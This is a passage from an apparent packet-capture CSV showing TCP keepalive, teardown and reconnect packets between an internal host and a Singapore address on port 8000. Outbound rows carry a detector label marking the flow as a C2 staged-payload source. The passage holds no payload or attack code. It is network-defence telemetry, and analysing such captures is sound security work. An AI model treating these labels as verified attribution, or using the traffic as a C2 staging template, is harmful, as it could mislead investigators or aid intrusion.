Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1686225041 Ack=614774839,bc24112907bbbc2411360d0c080045000029b011400080063fed0a98980bc0a3a789fa491f406481c09124a4b837501020146976000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45073, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16365, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64073, \"\"dport\"\": 8000, \"\"seq\"\": 1686225041, \"\"ack\"\": 614774839, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 26998, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:07:00.826308,257,TCP 192.163.167.137:8000 -> 10.152.152.11:64073,192.163.167.137,10.152.152.11,8000,64073,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=614774839 Ack=1686225042,bc2411360d0cbc24112907bb0800450000348adf40004006a514c0a3a7890a98980b1f40fa4924a4b8376481c0928010003f0af700000101050a6481c0916481c092,\".$.6\n..$.)....E..4..@.@.......\n....@.I$..7d......?\n......\nd...d...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 35551, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42260, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64073, \"\"seq\"\": 614774839, \"\"ack\"\": 1686225042, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1686225041, 1686225042))]\"\"}}]\"\n2026-07-01 09:07:01.841854,258,TCP 10.152.152.11:64073 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64073,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1686225041 Ack=614774839,bc24112907bbbc2411360d0c080045000029b012400080063fec0a98980bc0a3a789fa491f406481c09124a4b837501020146976000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45074, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16364, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64073, \"\"dport\"\": 8000, \"\"seq\"\": 1686225041, \"\"ack\"\": 614774839, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 26998, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:07:01.841877,259,TCP 192.163.167.137:8000 -> 10.152.152.11:64073,192.163.167.137,10.152.152.11,8000,64073,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=614774839 Ack=1686225042,bc2411360d0cbc24112907bb0800450000348ae040004006a513c0a3a7890a98980b1f40fa4924a4b8376481c0928010003f0af700000101050a6481c0916481c092,\".$.6\n..$.)....E..4..@.@.......\n....@.I$..7d......?\n......\nd...d...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 35552, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42259, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64073, \"\"seq\"\": 614774839, \"\"ack\"\": 1686225042, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1686225041, 1686225042))]\"\"}}]\"\n2026-07-01 09:07:02.857532,260,TCP 10.152.152.11:64073 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64073,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1686225041 Ack=614774839,bc24112907bbbc2411360d0c080045000029b013400080063feb0a98980bc0a3a789fa491f406481c09124a4b837501020146976000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45075, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16363, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64073, \"\"dport\"\": 8000, \"\"seq\"\": 1686225041, \"\"ack\"\": 614774839, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 26998, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:07:02.857576,261,TCP 192.163.167.137:8000 -> 10.152.152.11:64073,192.163.167.137,10.152.152.11,8000,64073,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=614774839 Ack=1686225042,bc2411360d0cbc24112907bb0800450000348ae140004006a512c0a3a7890a98980b1f40fa4924a4b8376481c0928010003f0af700000101050a6481c0916481c092,\".$.6\n..$.)....E..4..@.@.......\n....@.I$..7d......?\n......\nd...d...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 35553, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42258, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64073, \"\"seq\"\": 614774839, \"\"ack\"\": 1686225042, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1686225041, 1686225042))]\"\"}}]\"\n2026-07-01 09:07:03.873195,262,TCP 10.152.152.11:64073 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64073,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1686225041 Ack=614774839,bc24112907bbbc2411360d0c080045000029b014400080063fea0a98980bc0a3a789fa491f406481c09124a4b837501020146976000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45076, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16362, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64073, \"\"dport\"\": 8000, \"\"seq\"\": 1686225041, \"\"ack\"\": 614774839, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 26998, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:07:03.873231,263,TCP 192.163.167.137:8000 -> 10.152.152.11:64073,192.163.167.137,10.152.152.11,8000,64073,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=614774839 Ack=1686225042,bc2411360d0cbc24112907bb0800450000348ae240004006a511c0a3a7890a98980b1f40fa4924a4b8376481c0928010003f0af700000101050a6481c0916481c092,\".$.6\n..$.)....E..4..@.@.......\n....@.I$..7d......?\n......\nd...d...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 35554, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42257, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64073, \"\"seq\"\": 614774839, \"\"ack\"\": 1686225042, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1686225041, 1686225042))]\"\"}}]\"\n2026-07-01 09:07:04.889091,264,TCP 10.152.152.11:64073 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64073,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1686225041 Ack=614774839,bc24112907bbbc2411360d0c080045000029b015400080063fe90a98980bc0a3a789fa491f406481c09124a4b837501020146976000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45077, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16361, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64073, \"\"dport\"\": 8000, \"\"seq\"\": 1686225041, \"\"ack\"\": 614774839, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 26998, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:07:04.889122,265,TCP 192.163.167.137:8000 -> 10.152.152.11:64073,192.163.167.137,10.152.152.11,8000,64073,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=614774839 Ack=1686225042,bc2411360d0cbc24112907bb0800450000348ae340004006a510c0a3a7890a98980b1f40fa4924a4b8376481c0928010003f0af700000101050a6481c0916481c092,\".$.6\n..$.)....E..4..@.@.......\n....@.I$..7d......?\n......\nd...d...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 35555, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42256, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64073, \"\"seq\"\": 614774839, \"\"ack\"\": 1686225042, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1686225041, 1686225042))]\"\"}}]\"\n2026-07-01 09:07:05.904552,266,TCP 10.152.152.11:64073 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64073,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1686225041 Ack=614774839,bc24112907bbbc2411360d0c080045000029b016400080063fe80a98980bc0a3a789fa491f406481c09124a4b837501020146976000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45078, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16360, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64073, \"\"dport\"\": 8000, \"\"seq\"\": 1686225041, \"\"ack\"\": 614774839, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 26998, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:07:05.904586,267,TCP 192.163.167.137:8000 -> 10.152.152.11:64073,192.163.167.137,10.152.152.11,8000,64073,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=614774839 Ack=1686225042,bc2411360d0cbc24112907bb0800450000348ae440004006a50fc0a3a7890a98980b1f40fa4924a4b8376481c0928010003f0af700000101050a6481c0916481c092,\".$.6\n..$.)....E..4..@.@.......\n....@.I$..7d......?\n......\nd...d...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 35556, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42255, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64073, \"\"seq\"\": 614774839, \"\"ack\"\": 1686225042, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1686225041, 1686225042))]\"\"}}]\"\n2026-07-01 09:07:06.634914,268,TCP 192.163.167.137:8000 -> 10.152.152.11:64073,192.163.167.137,10.152.152.11,8000,64073,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,FA,,,Ether > IP > TCP,3,TCP FA Seq=614774839 Ack=1686225042,bc2411360d0cbc24112907bb0800450000288ae540004006a51ac0a3a7890a98980b1f40fa4924a4b8376481c0925011003f0aeb0000,\".$.6\n..$.)....E..(..@.@.......\n....@.I$..7d...P..?\n...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 35557, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42266, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64073, \"\"seq\"\": 614774839, \"\"ack\"\": 1686225042, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 63, \"\"chksum\"\": 2795, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:07:06.635161,269,TCP 10.152.152.11:64073 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64073,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=1686225042 Ack=614774840,bc24112907bbbc2411360d0c080045000028b017400080063fe80a98980bc0a3a789fa491f406481c09224a4b8385010201469750000,\".$.)...$.6\n...E..(..@...?.\n........I.@d...$..8P. .iu..\",[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 45079, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16360, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64073, \"\"dport\"\": 8000, \"\"seq\"\": 1686225042, \"\"ack\"\": 614774840, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 26997, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:07:06.635891,270,TCP 10.152.152.11:64073 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64073,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,FA,,,Ether > IP > TCP,3,TCP FA Seq=1686225042 Ack=614774840,bc24112907bbbc2411360d0c080045000028b018400080063fe70a98980bc0a3a789fa491f406481c09224a4b8385011201469740000,\".$.)...$.6\n...E..(..@...?.\n........I.@d...$..8P. .it..\",[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 45080, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16359, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64073, \"\"dport\"\": 8000, \"\"seq\"\": 1686225042, \"\"ack\"\": 614774840, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 26996, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:07:06.635905,271,TCP 192.163.167.137:8000 -> 10.152.152.11:64073,192.163.167.137,10.152.152.11,8000,64073,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=614774840 Ack=1686225043,bc2411360d0cbc24112907bb0800450000280000400040063000c0a3a7890a98980b1f40fa4924a4b8386481c0935010003f89490000,\".$.6\n..$.)....E..(..@.@.0.....\n....@.I$..8d...P..?.I..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 12288, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64073, \"\"seq\"\": 614774840, \"\"ack\"\": 1686225043, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 35145, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:07:10.657366,272,TCP 10.152.152.11:64078 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64078,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,S,,,Ether > IP > TCP,3,TCP S Seq=2691200669 Ack=0,bc24112907bbbc2411360d0c080045000034b019400080063fda0a98980bc0a3a789fa4e1f40a068769d000000008002faf038ba0000020405b40103030801010402,\".$.)...$.6\n...E..4..@...?.\n........N.@.hv.........8...............\",[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 45081, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16346, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64078, \"\"dport\"\": 8000, \"\"seq\"\": 2691200669, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 64240, \"\"chksum\"\": 14522, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 8), ('NOP', None), ('NOP', None), ('SAckOK', b'')]\"\"}}]\"\n2026-07-01 09:07:10.657405,273,TCP 192.163.167.137:8000 -> 10.152.152.11:64078,192.163.167.137,10.152.152.11,8000,64078,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=3062808725 